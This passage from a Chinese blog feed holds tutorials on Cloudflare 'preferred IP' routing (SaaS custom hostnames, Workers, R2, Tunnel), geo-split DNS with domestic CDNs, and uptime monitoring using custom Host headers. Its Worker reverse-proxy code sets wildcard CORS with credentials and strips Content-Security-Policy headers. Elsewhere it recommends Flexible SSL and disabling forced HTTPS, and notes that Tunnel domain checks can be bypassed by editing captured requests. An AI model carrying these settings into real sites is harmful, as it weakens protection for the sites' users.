&lt;li&gt;ESA CDN针对于回源非标端口和Cloudflare一样要通过写回源规则实现，很浪费规则，推荐使用EdgeOne CDN，可以随意指定回源端口
&lt;img src=&quot;https://2x.nz/_astro/fenliu-8.GaRywjDb.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如果你要做分流业务，必须将域名NS托管在国内的DNS解析服务商，因为Cloudflare不支持域名分流解析，并且请将默认解析给CF，将境内解析给国内节点，不要反着来
&lt;img src=&quot;https://2x.nz/_astro/fenliu-9.J_lDZ4lA.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分流的原理是DNS看查询的源IP，如果是国内则返回国内节点，海外则返回海外。也就是说你的出口IP决定访问的节点，若你开梯子（如美国），就算你在国内，访问到的也是海外节点&lt;/li&gt;
&lt;li&gt;DCV委派只能写一条，如果你的NS在EO，可以写DCV给ESA，而Cloudflare使用HTTP验证，这一切都将是一劳永逸，全自动化的&lt;/li&gt;
&lt;li&gt;Cloudflare SaaS 在接入外部域名时，非常建议选择 HTTP验证来签发SSL，下文会详细说明该验证模式的好处。我们都知道，Cloudflare SaaS 在创建的时候，对于申请SSL默认选项是 TXT验证，但是该方式并不好，我们都知道，使用TXT验证的确可以签发证书，但在3月后（上一个SSL证书过期后），我们需要及时更新TXT记录来重新申领新的SSL证书，但是HTTP验证就不是这样了，Cloudflare CDN会自动在边缘节点放上HTTP验证的文件，并且Cloudflare可以随时更改，这样，你就不需要在申领新SSL的时候做任何事情了，一切都由Cloudflare自动实现&lt;/li&gt;
&lt;li&gt;Cloudflare SaaS接入外部域名后，对于该外部域名是可以享有所有Cloudflare单域名下服务（也包括Cloudflare Worker，参见： &lt;a href=&quot;/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-workers/&quot;&gt;Cloudflare Worker 优选&lt;/a&gt;）。也可以配置规则等业务，你最终访问的是哪个域名就写哪个主机名，不要写回退源的主机名，除非你想让该规则仅在直接访问回退源时生效
&lt;img src=&quot;https://2x.nz/_astro/fenliu-11.C2eesWrv.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fenliu-10.CHEvn4ff.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare Tunnel实际上是可以自定义生效的域名的，并非仅局限于账户内域名（虽然你在控制台看着是这样），我们可以通过抓包更改请求体来实现各种各样的域名，它没有验证，详见：&lt;a href=&quot;/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-tunnelzerotrust/&quot;&gt;Cloudflare Tunnel 优选&lt;/a&gt;
&lt;img src=&quot;https://2x.nz/_astro/fenliu-13.C0deHGhC.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分流做完后，一定要针对国内节点启用封锁海外模式，这能大大降低被DDoS致使CDN商给你域名取消接入的概率。Cloudflare随你，因为打不死，如果你的源站Hold不住，也请配置点策略。因为刷子（DDoS发起者可以通过强行绑定域名和IP来通过便宜量大的海外IP来攻击你脆弱的国内节点，如果什么防护都不做，很可能被刷几个TB的异常流量然后被CDN取消接入）
&lt;img src=&quot;https://2x.nz/_astro/fenliu-14.Ew7caKMY.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fenliu-15.4m4bZOlJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;成果展示&lt;/h1&gt;
&lt;h3&gt;博客本体&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___blogacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F(1).webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Umami&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___umamiacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;随机图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/https___picacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>试试Cloudflare IP优选！让Cloudflare在国内再也不是减速器！</title><link>https://2x.nz/posts/cf-fastip/</link><guid isPermaLink="true">https://2x.nz/posts/cf-fastip/</guid><description>使用SaaS、Worker以及各种奇技淫巧来让你的网站解析的IP进行分流优选，提高网站可用性和速度</description><pubDate>Sat, 10 Jan 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本教程初始发布时间为 25年6月&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;未优选&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/098f9ee71ae62603022e542878673e19bdcaf196.D6GAL58X.webp&quot; alt=&quot;QmZoinxZgAzu7Skh7BqsxmDQGU1sXtLLskJcyQuRAQNKww.webp&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;已优选&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-11.CKtklMQ7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;什么是优选？&lt;/h1&gt;
&lt;p&gt;简单来说，&lt;strong&gt;优选就是选择一个国内访问速度更快的Cloudflare节点&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Cloudflare官方分配给我们的IP，在国内访问时延迟往往较高，甚至可能出现无法访问的情况。而通过优选，我们可以手动将域名解析到那些国内访问更快的Cloudflare IP，从而显著提升网站的访问速度和可用性。&lt;/p&gt;
&lt;p&gt;从上面的对比图可以看到，优选过的网站响应速度有很大提升，出口IP也变多了。这能让你的网站可用性大大提高，并且加载速度显著变快。&lt;/p&gt;
&lt;p&gt;要实现优选，我们需要做到两点：&lt;strong&gt;自己控制路由规则&lt;/strong&gt; 和 &lt;strong&gt;自己控制DNS解析&lt;/strong&gt;。通过Cloudflare SaaS或Worker路由，我们可以同时实现这两点，下面会详细讲解。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;优选原理&lt;/h1&gt;
&lt;p&gt;首先我们要知道CDN是如何通过不同域名给不同内容的。&lt;/p&gt;
&lt;p&gt;我们可以将其抽象为2层：&lt;strong&gt;规则层&lt;/strong&gt;和&lt;strong&gt;解析层&lt;/strong&gt;。当我们普通的在Cloudflare添加一条开启了小黄云的解析，Cloudflare会为我们做两件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;帮我们写一条DNS解析指向Cloudflare&lt;/li&gt;
&lt;li&gt;在Cloudflare创建一条路由规则&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你想要优选，实际上你是要手动更改这个DNS解析，使其指向一个更快的Cloudflare节点。&lt;/p&gt;
&lt;p&gt;但是，一旦你将小黄云关闭，路由规则也会被删除，再访问就会显示DNS直接指向IP——这就没法用了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;而SaaS和Worker路由的出现改变了这一切。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用SaaS后，Cloudflare不再帮你做这两件事了，这两件事你都可以自己做了：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你可以自己写一条SaaS规则（规则层）&lt;/li&gt;
&lt;li&gt;你可以自己写一条CNAME解析到优选节点（解析层）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;使用Worker路由同理，你创建Worker路由规则后，DNS解析就可以随便指向任何优选节点了。&lt;/p&gt;
&lt;p&gt;这就是为什么经由SaaS或Worker路由的流量可以做优选的原因。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;选择优选域名&lt;/h1&gt;
&lt;p&gt;优选的核心就是选择一个国内访问速度更快的Cloudflare节点IP或域名。&lt;/p&gt;
&lt;h2&gt;传统优选域名&lt;/h2&gt;
&lt;p&gt;常用的社区优选域名：https://cf.090227.xyz&lt;/p&gt;
&lt;p&gt;这些优选域名通常是通过扫描Cloudflare官方IP段，找出国内延迟最低的IP整理而成。&lt;/p&gt;
&lt;h2&gt;Cloudflare Byoip 优选&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;还在用传统优选？来看看Cloudflare Byoip！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;什么是Byoip？&lt;/h3&gt;
&lt;p&gt;Cloudflare Byoip（Bring Your Own IP），即如果用户自己拥有一个IP、IP段，可以将其托管给Cloudflare，并使其受益于Cloudflare全球网络的加速与安全。&lt;/p&gt;
&lt;p&gt;人话讲就是，有一些IP不直接隶属于Cloudflare，但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast，但是国内延迟可能会明显优于Cloudflare的官方IP段。&lt;/p&gt;
&lt;h3&gt;如何找到Cloudflare Byoip？&lt;/h3&gt;
&lt;p&gt;可以前往 &lt;a href=&quot;https://ipregistry.co/AS209242#ranges&quot;&gt;AS209242 Cloudflare London, LLC details | Ipregistry&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;尝试使用ITDog强制绑定IP访问你的Cloudflare服务，不返回403即可。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我这里返回404是正常的，因为 r2.afo.im 直接连接到Cloudflare R2对象存储，直接访问就是404&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/838f685e-3913-4b21-995e-5ee149f4bffa.D7JAFDux.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;p&gt;有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向，别让你的网站成为他人的引流站。&lt;/p&gt;
&lt;h3&gt;可以长久使用吗？&lt;/h3&gt;
&lt;p&gt;这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;各类优选方案&lt;/h1&gt;
&lt;h2&gt;Worker项目优选（最简单）&lt;/h2&gt;
&lt;p&gt;如果你需要优选 Page/Worker项目：&lt;/p&gt;
&lt;p&gt;首先，如果你是Page，将项目转为Worker，具体AI一下即可。&lt;/p&gt;
&lt;p&gt;接下来编写Worker路由，直接填写 &lt;code&gt;你的域名+ /*&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip.DnZ1rvOM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后写一条DNS解析到想要的优选域名，完事！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-1.B-9-j9cT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不需要折腾SaaS，不需要多域名，就是这么简单！&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Worker路由反代全球并优选（进阶）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本方法的原理为通过Worker反代你的源站，然后将Worker的入口节点进行优选。此方法不是传统的优选，源站接收到的Hosts头仍然是直接指向源站的解析&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;创建一个Cloudflare Worker，写入代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 域名前缀映射配置
const domain_mappings = {
  &apos;源站.com&apos;: &apos;最终访问头.&apos;,
//例如：
//&apos;gitea.072103.xyz&apos;: &apos;gitea.&apos;,
//则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz
};

addEventListener(&apos;fetch&apos;, event =&amp;gt; {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const url = new URL(request.url);
  const current_host = url.host;

  // 强制使用 HTTPS
  if (url.protocol === &apos;http:&apos;) {
    url.protocol = &apos;https:&apos;;
    return Response.redirect(url.href, 301);
  }

  const host_prefix = getProxyPrefix(current_host);
  if (!host_prefix) {
    return new Response(&apos;Proxy prefix not matched&apos;, { status: 404 });
  }

  // 查找对应目标域名
  let target_host = null;
  for (const [origin_domain, prefix] of Object.entries(domain_mappings)) {
    if (host_prefix === prefix) {
      target_host = origin_domain;
      break;
    }
  }

  if (!target_host) {
    return new Response(&apos;No matching target host for prefix&apos;, { status: 404 });
  }

  // 构造目标 URL
  const new_url = new URL(request.url);
  new_url.protocol = &apos;https:&apos;;
  new_url.host = target_host;

  // 创建新请求
  const new_headers = new Headers(request.headers);
  new_headers.set(&apos;Host&apos;, target_host);
  new_headers.set(&apos;Referer&apos;, new_url.href);

  try {
    const response = await fetch(new_url.href, {
      method: request.method,
      headers: new_headers,
      body: request.method !== &apos;GET&apos; &amp;amp;&amp;amp; request.method !== &apos;HEAD&apos; ? request.body : undefined,
      redirect: &apos;manual&apos;
    });

    // 复制响应头并添加CORS
    const response_headers = new Headers(response.headers);
    response_headers.set(&apos;access-control-allow-origin&apos;, &apos;*&apos;);
    response_headers.set(&apos;access-control-allow-credentials&apos;, &apos;true&apos;);
    response_headers.set(&apos;cache-control&apos;, &apos;public, max-age=600&apos;);
    response_headers.delete(&apos;content-security-policy&apos;);
    response_headers.delete(&apos;content-security-policy-report-only&apos;);

    return new Response(response.body, {
      status: response.status,
      statusText: response.statusText,
      headers: response_headers
    });
  } catch (err) {
    return new Response(`Proxy Error: ${err.message}`, { status: 502 });
  }
}

function getProxyPrefix(hostname) {
  for (const prefix of Object.values(domain_mappings)) {
    if (hostname.startsWith(prefix)) {
      return prefix;
    }
  }
  return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建路由：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/56752d54-26a5-46f1-a7d9-a782ad9874cb.BNj0hKMZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;类似这样填写：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d025398c-39e3-4bd7-8d8f-2ce06a45007d.DiNtkNX3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后写一条DNS解析 &lt;code&gt;CNAME gitea.afo.im --&amp;gt; 优选域名&lt;/code&gt; 即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Cloudflare R2 优选&lt;/h2&gt;
&lt;p&gt;首先，你先得有个R2实例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-4.CCPjOwxf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着，你需要绑定一个自定义域&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-5.CiMMbFrV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着，前往你的域名 - 规则 - Cloud Connector&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-6.u-rNQAVS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-7.HFuJNMVB.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-8.D5XwYtf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后写一条解析指向优选域名 &lt;code&gt;fast-r2.2x.nz CNAME cf.090227.xyz&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;传统SaaS优选&lt;/h2&gt;
&lt;h3&gt;SaaS做了什么？&lt;/h3&gt;
&lt;p&gt;Cloudflare SaaS是一个不需要你改变一个域名的NS服务器，就可以让其受益于Cloudflare网络的功能。&lt;/p&gt;
&lt;p&gt;当一个域名被SaaS到一个已经在Cloudflare的域名后，它就完整受益所有Cloudflare服务。如我将 umami.acofork.com SaaS 到 2x.nz，我就可以在 2x.nz 里为 umami.acofork.com 写规则了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-saas-1.D6QdZSe5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-saas-2.DmaNOCRx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-saas-3.BFJUB0ej.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Worker中的路由规则也适用：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-saas-4.aavxTDBx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;SaaS优选步骤&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;简单易懂（pro.yourdomain.com 是最终访问域名）：
CF SaaS DNS
origin.yourdomain.com -&amp;gt; 源站开小黄云
cdn.yourdomain.com -&amp;gt; cf优选域名
pro.yourdomain.com -&amp;gt; cdn.yourdomain.com&lt;/p&gt;
&lt;p&gt;CF SaaS
添加自定义主机名pro.yourdomain.com
源站为origin.yourdomain.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Cloudflare最近将新接入的域名SSL默认设为了完全，记得将 SSL 改为灵活。
&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-1.gZMyHx1N.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;准备工作&lt;/h4&gt;
&lt;p&gt;我们需要&lt;strong&gt;一个域名或两个域名&lt;/strong&gt;（单域名直接用子域名即可。双域名比如：onani.cn和acofork.cn）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;如果在同一CF账号下不可用，请尝试将俩域名放置在不同账号&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里我们让onani.cn成为主力域名，让acofork.cn成为辅助域名。&lt;/p&gt;
&lt;p&gt;单域名效果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip.gUpXTN_k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;具体步骤&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先新建一个DNS解析，指向你的&lt;strong&gt;源站&lt;/strong&gt;，&lt;strong&gt;开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/c94c34ee262fb51fb5697226ae0df2d804bf76fe.BycGcin1.webp&quot; alt=&quot;QmfBKgDe77SpkUpjGdmsxqwU2UabvrDAw4c3bgFiWkZCna.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;strong&gt;辅助域名&lt;/strong&gt;的 SSL/TLS -&amp;gt; 自定义主机名。设置回退源为你刚才的DNS解析的域名：xlog.acofork.cn（推荐 &lt;strong&gt;HTTP 验证&lt;/strong&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点击添加自定义主机名。设置一个自定义主机名，比如 &lt;code&gt;onani.cn&lt;/code&gt;，然后选择&lt;strong&gt;自定义源服务器&lt;/strong&gt;，填写第一步的域名，即 &lt;code&gt;xlog.acofork.cn&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果你想要创建多个优选也就这样添加，一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认，则源服务器是回退源指定的服务器，即 &lt;code&gt;xlog.acofork.cn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f6170f009c43f7c6bee4c2d29e2db7498fa1d0dc.B2ij67Nh.webp&quot; alt=&quot;QmRYrwjeDMDQCj8G9RYkpjC3X4vpwE77wpNpbqKURwBber.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;继续在你的辅助域名添加一条解析。CNAME到优选节点：如cloudflare.182682.xyz，&lt;strong&gt;不开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/4f9f727b0490e0b33d360a2363c1026003060b29.CHQJnTsl.webp&quot; alt=&quot;QmNwkMqDEkCGMu5jsgE6fj6qpupiqMrqqQtWeAmAJNJbC4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名（onani.cn），目标为刚才的cdn.acofork.cn，&lt;strong&gt;不开启cf代理&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/6f51cb2a42140a9bf364f88a5715291be616a254.BBOSSQjT.webp&quot; alt=&quot;QmeK3AZghae4J4LcJdbPMxBcmoNEeF3hXNBmtJaDki8HYt.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优选完毕，确保优选有效后尝试访问
&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-10.DmBZ3CjD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;（可选）你也可以将cdn子域的NS服务器更改为阿里云\华为云\腾讯云云解析做线路分流解析&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;优选工作流：用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带 &lt;strong&gt;源主机名：onani.cn&lt;/strong&gt; -&amp;gt; 到达优选域名进行优选 -&amp;gt; 优选结束，cf边缘节点识别到了携带的 &lt;strong&gt;源主机名：onani.cn&lt;/strong&gt; 查询发现了回退源 -&amp;gt; 回退到回退源内容（xlog.acofork.cn） -&amp;gt; 访问成功&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;针对于Cloudflare Page&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\华为云\腾讯云云解析做线路分流解析&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将您的Page项目升级为Worker项目，使用Worker优选方案（更简单）。详细方法见：【CF Page一键迁移到Worker？好处都有啥？-哔哩哔哩】 https://www.bilibili.com/video/BV1wBTEzREcb&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;针对于Cloudflare Workers&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在Workers中添加路由，然后直接将你的路由域名从指向&lt;code&gt;xxx.worker.dev&lt;/code&gt;改为优选域名即可&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果是外域，SaaS后再添加路由即可，就像：
&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-12.50Pt32ia.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-13.Cx6BimSe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;针对于Cloudflare Tunnel（ZeroTrust）&lt;/h1&gt;
&lt;p&gt;请先参照 &lt;a href=&quot;#%E4%BC%A0%E7%BB%9Fsaas%E4%BC%98%E9%80%89&quot;&gt;传统SaaS优选&lt;/a&gt; 设置完毕，源站即为 Cloudflare Tunnel。正常做完SaaS接入即可：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-3.DsQc-QHW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-2.CF8Gj9uV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们需要让 &lt;strong&gt;最终访问的域名&lt;/strong&gt; 打到 Cloudflare Tunnel 的流量正确路由，否则访问时主机名不在Tunnel中，会触发 &lt;strong&gt;catch: all&lt;/strong&gt; 规则，总之就是没法访问。再创建一个Tunnel规则，域名为 &lt;strong&gt;你最终访问的域名&lt;/strong&gt; ，源站指定和刚才的一致即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/cf-fastip-3.CPeRyAci.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后写一条 &lt;code&gt;umami.2x.nz&lt;/code&gt; CNAME &lt;strong&gt;你自己的优选域名&lt;/strong&gt; 的DNS记录即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;针对于使用了各种CF规则的网站&lt;/h1&gt;
&lt;p&gt;你只需要让规则针对于你的 &lt;strong&gt;最终访问域名&lt;/strong&gt; ，因为CF的规则是看主机名的，而不是看是由谁提供的。&lt;/p&gt;
&lt;h1&gt;针对于虚拟主机&lt;/h1&gt;
&lt;p&gt;保险起见，建议将源站和优选域名同时绑定到你的虚拟主机，保证能通再一个个删。&lt;/p&gt;
</content:encoded></item><item><title>你有一个全球网站？如何做好监控？</title><link>https://2x.nz/posts/double-monitior/</link><guid isPermaLink="true">https://2x.nz/posts/double-monitior/</guid><description>如果你正好在运营一个全球性的网站，它可能在不同地区有不同节点，我们要如何做好宕机提醒？</description><pubDate>Fri, 09 Jan 2026 03:26:02 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!warning]
由于被DDOS，已经不再做分流监控，故本文诸多链接失效&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频： https://www.bilibili.com/video/BV14dqwBVEa5/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;比如说我的博客
::url{href=https://blog.acofork.com}&lt;/p&gt;
&lt;p&gt;它在国外的节点是 &lt;strong&gt;Cloudflare Page&lt;/strong&gt; ，而在国内的节点是 &lt;strong&gt;阿里云 ESA Pages/EdgeOne Pages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我使用的方案是在国内自托管一个 &lt;strong&gt;Uptime Kuma&lt;/strong&gt; 服务，而在海外使用一些大厂的云监控，如 &lt;strong&gt;BetterStack&lt;/strong&gt; &lt;strong&gt;UptimeRobot&lt;/strong&gt; 等等，并且让他们互相监控&lt;/p&gt;
&lt;p&gt;对于大厂的监控，我们不必做防护，但对于你自托管的监控，推荐套 &lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt; ，防止被DDoS&lt;/p&gt;
&lt;p&gt;国内监控：
::url{href=https://kuma.2x.nz}&lt;/p&gt;
&lt;p&gt;海外监控：
::url{href=https://vps.2x.nz}&lt;/p&gt;
&lt;h1&gt;进阶：利用自定义HTTP请求头Host字段实现单节点分流域名的监控&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你有个分流域名，正常来说我们需要两个监测源模拟国内和海外用户访问，但真的需要这么麻烦吗...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;原理&lt;/h2&gt;
&lt;p&gt;CDN上托管了那么多的网站，那它是如何识别每个用户需要访问哪个网站的呢？&lt;/p&gt;
&lt;p&gt;针对 HTTPS ，CDN 会检查SSL握手报文中的 &lt;code&gt;Server_Name&lt;/code&gt; 字段。而针对 HTTP ，CDN 会检查请求头中的 &lt;code&gt;Host&lt;/code&gt; 字段&lt;/p&gt;
&lt;p&gt;也就是说，对于海外CDN是否存活，我们可以通过直接访问CDN节点，如： &lt;code&gt;http://blog.acofork.com.a1.initww.com&lt;/code&gt; 并携带上 &lt;code&gt;Host&lt;/code&gt; 头指定为 &lt;code&gt;blog.acofork.com&lt;/code&gt; ，从而强制指定节点访问业务网站，不走分流&lt;/p&gt;
&lt;p&gt;那么如果CDN开启了强制HTTPS呢？那就关掉&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/http-header-host-3.WJAPs-4u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;常用CDN节点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare：你自己的优选域名，如 &lt;strong&gt;http://cdn.2x.nz&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Github： &lt;strong&gt;http://pages.github.com&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;配置方法&lt;/h2&gt;
&lt;p&gt;部署一个Uptime Kuma（或者其他服务，监测源必须在国内。因为EO，ESA我们要做拦截海外策略）&lt;/p&gt;
&lt;p&gt;如图写监测项目，直接使用HTTP协议监测CDN节点，并且携带Host头，将重定向设为0，只要返回 200 就算存活（为了减轻站点压力，建议使用HEAD请求）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/http-header-host-1.CoWUMAIl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
